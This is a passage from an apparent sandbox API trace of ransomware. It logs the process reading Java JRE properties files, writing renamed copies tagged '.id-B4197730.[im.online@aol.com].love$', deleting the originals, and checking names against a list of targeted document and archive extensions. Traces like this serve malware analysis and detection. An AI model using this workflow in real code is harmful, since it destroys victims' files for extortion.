"c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0231.016] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=5548) returned 1 [0231.016] CloseHandle (hObject=0x3c0) returned 1 [0231.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0231.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0231.017] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0231.017] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.017] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.017] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x480 [0231.019] GetLastError () returned 0x0 [0231.019] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x15ac, lpOverlapped=0x0) returned 1 [0231.315] WriteFile (in: hFile=0x480, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x15b0, lpOverlapped=0x0) returned 1 [0231.316] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.316] WriteFile (in: hFile=0x480, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x104, lpOverlapped=0x0) returned 1 [0231.318] SetEndOfFile (hFile=0x480) returned 1 [0231.318] CloseHandle (hObject=0x480) returned 1 [0231.318] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.318] SetEndOfFile (hFile=0x3c0) returned 1 [0231.355] CloseHandle (hObject=0x3c0) returned 1 [0231.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0231.379] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1 [0231.654] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0231.654] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0231.654] lstrlenW (lpString=".doc") returned 4 [0231.654] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0231.654] lstrlenW (lpString=".docx") returned 5 [0231.654] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0231.654] lstrlenW (lpString=".pdf") returned 4 [0231.654] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0231.654] lstrlenW (lpString=".xls") returned 4 [0231.654] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0231.654] lstrlenW (lpString=".xlsx") returned 5 [0231.654] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0231.654] lstrlenW (lpString=".ppt") returned 4 [0231.654] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0231.654] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0231.654] lstrlenW (lpString=".zip") returned 4 [0231.654] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0231.654] lstrlenW (lpString=".rar") returned 4 [0231.655] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0231.655] lstrlenW (lpString=".bz2") returned 4 [0231.655] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0231.655] lstrlenW (lpString=".7z") returned 3 [0231.655] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0231.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0231.655] lstrlenW (lpString=".dbf") returned 4 [0231.655] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0231.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0231.655] lstrlenW (lpString=".1cd") returned 4 [0231.655] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0231.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0231.655] lstrlenW (lpString=".jpg") returned 4 [0231.655] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0231.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0231.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0231.655] lstrlenW (lpString=".doc") returned 4 [0231.655] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0231.655] lstrlenW (lpString=".docx") returned 5 [0231.655] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0231.655] lstrlenW (lpString=".pdf") returned 4 [0231.655] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0231.655] lstrlenW (lpString=".xls") returned 4 [0231.655] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0231.655] lstrlenW (lpString=".xlsx") returned 5 [0231.655] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0231.655] lstrlenW (lpString=".ppt") returned 4 [0231.655] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0231.655] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0231.655] lstrlenW (lpString=".zip") returned 4 [0231.655] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0231.655] lstrlenW (lpString=".rar") returned 4 [0231.655] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0231.656] lstrlenW (lpString=".bz2") returned 4 [0231.656] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0231.656] lstrlenW (lpString=".7z") returned 3 [0231.656] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0231.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0231.656] lstrlenW (lpString=".dbf") returned 4 [0231.656] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0231.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0231.656] lstrlenW (lpString=".1cd") returned 4 [0231.656] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0231.656] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0231.656] lstrlenW (lpString=".jpg") returned 4 [0231.656] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0231.656] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0231.656] lstrlenW (lpString="messages_de.properties") returned 22 [0231.656] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0232.078] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=3306) returned 1 [0232.078] CloseHandle (hObject=0x47c) returned 1 [0232.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0232.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.301] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0232.531] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.531] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.531] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0232.678] GetLastError () returned 0x0 [0232.678] ReadFile (in: hFile=0x46c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xcea, lpOverlapped=0x0) returned 1 [0232.693] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0232.695] ReadFile (in: hFile=0x46c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.695] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x100, lpOverlapped=0x0) returned 1 [0232.695] SetEndOfFile (hFile=0x3bc) returned 1 [0232.695] CloseHandle (hObject=0x3bc) returned 1 [0232.696] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.696] SetEndOfFile (hFile=0x46c) returned 1 [0232.700] CloseHandle (hObject=0x46c) returned 1 [0232.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0232.704] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1 [0232.705] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0232.705] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0232.705] lstrlenW (lpString=".doc") returned 4 [0232.705] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.705] lstrlenW (lpString=".docx") returned 5 [0232.705] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.705] lstrlenW (lpString=".pdf") returned 4 [0232.705] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.705] lstrlenW (lpString=".xls") returned 4 [0232.705] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.705] lstrlenW (lpString=".xlsx") returned 5 [0232.705] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.705] lstrlenW (lpString=".ppt") returned 4 [0232.706] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0232.706] lstrlenW (lpString=".zip") returned 4 [0232.706] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.706] lstrlenW (lpString=".rar") returned 4 [0232.706] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.706] lstrlenW (lpString=".bz2") returned 4 [0232.706] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.706] lstrlenW (lpString=".7z") returned 3 [0232.706] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0232.706] lstrlenW (lpString=".dbf") returned 4 [0232.706] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0232.706] lstrlenW (lpString=".1cd") returned 4 [0232.706] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0232.706] lstrlenW (lpString=".jpg") returned 4 [0232.706] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0232.706] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0232.706] lstrlenW (lpString=".doc") returned 4 [0232.706] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.706] lstrlenW (lpString=".docx") returned 5 [0232.706] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.706] lstrlenW (lpString=".pdf") returned 4 [0232.706] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.707] lstrlenW (lpString=".xls") returned 4 [0232.707] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.707] lstrlenW (lpString=".xlsx") returned 5 [0232.707] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.707] lstrlenW (lpString=".ppt") returned 4 [0232.707] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.707] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0232.707] lstrlenW (lpString=".zip") returned 4 [0232.707] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.707] lstrlenW (lpString=".rar") returned 4 [0232.707] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.707] lstrlenW (lpString=".bz2") returned 4 [0232.708] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.708] lstrlenW (lpString=".7z") returned 3 [0232.708] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.708] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0232.708] lstrlenW (lpString=".dbf") returned 4 [0232.708] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.708] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0232.708] lstrlenW (lpString=".1cd") returned 4 [0232.708] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.708] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0232.708] lstrlenW (lpString=".jpg") returned 4 [0232.708] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.708] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0232.708] lstrlenW (lpString="messages_ja.properties") returned 22 [0232.708] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0232.710] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=6349) returned 1 [0232.710] CloseHandle (hObject=0x46c) returned 1 [0232.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0232.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.711] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0232.711] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.711] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.712] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0232.712] GetLastError () returned 0x0 [0232.713] ReadFile (in: hFile=0x46c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x18cd, lpOverlapped=0x0) returned 1 [0232.715] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x18d0, lpOverlapped=0x0) returned 1 [0232.717] ReadFile (in: hFile=0x46c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.717] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x100, lpOverlapped=0x0) returned 1 [0232.717] SetEndOfFile (hFile=0x3bc) returned 1 [0232.717] CloseHandle (hObject=0x3bc) returned 1 [0232.717] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.717] SetEndOfFile (hFile=0x46c) returned 1 [0232.908] CloseHandle (hObject=0x46c) returned 1 [0232.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0232.914] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 1 [0232.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0232.920] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0232.922] lstrlenW (lpString=".doc") returned 4 [0232.922] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.922] lstrlenW (lpString=".docx") returned 5 [0232.922] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.922] lstrlenW (lpString=".pdf") returned 4 [0232.922] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.923] lstrlenW (lpString=".xls") returned 4 [0232.923] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.923] lstrlenW (lpString=".xlsx") returned 5 [0232.923] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.923] lstrlenW (lpString=".ppt") returned 4 [0232.923] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0232.923] lstrlenW (lpString=".zip") returned 4 [0232.923] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.923] lstrlenW (lpString=".rar") returned 4 [0232.923] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.923] lstrlenW (lpString=".bz2") returned 4 [0232.923] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.924] lstrlenW (lpString=".7z") returned 3 [0232.925] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0232.932] lstrlenW (lpString=".dbf") returned 4 [0232.932] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0232.932] lstrlenW (lpString=".1cd") returned 4 [0232.932] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0232.932] lstrlenW (lpString=".jpg") returned 4 [0232.933] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0232.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0232.933] lstrlenW (lpString=".doc") returned 4 [0232.933] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.933] lstrlenW (lpString=".docx") returned 5 [0232.933] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.934] lstrlenW (lpString=".pdf") returned 4 [0232.934] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.934] lstrlenW (lpString=".xls") returned 4 [0232.934] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.934] lstrlenW (lpString=".xlsx") returned 5 [0232.934] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.934] lstrlenW (lpString=".ppt") returned 4 [0232.935] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0232.935] lstrlenW (lpString=".zip") returned 4 [0232.935] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.935] lstrlenW (lpString=".rar") returned 4 [0232.935] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.935] lstrlenW (lpString=".bz2") returned 4 [0232.935] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.935] lstrlenW (lpString=".7z") returned 3 [0232.935] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0232.935] lstrlenW (lpString=".dbf") returned 4 [0232.935] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0232.935] lstrlenW (lpString=".1cd") returned 4 [0232.935] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0232.935] lstrlenW (lpString=".jpg") returned 4 [0232.935] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.936] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0232.936] lstrlenW (lpString="messages_sv.properties") returned 22 [0232.936] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0232.937] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=3409) returned 1 [0232.937] CloseHandle (hObject=0x46c) returned 1 [0232.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0232.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.938] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0232.938] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.938] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 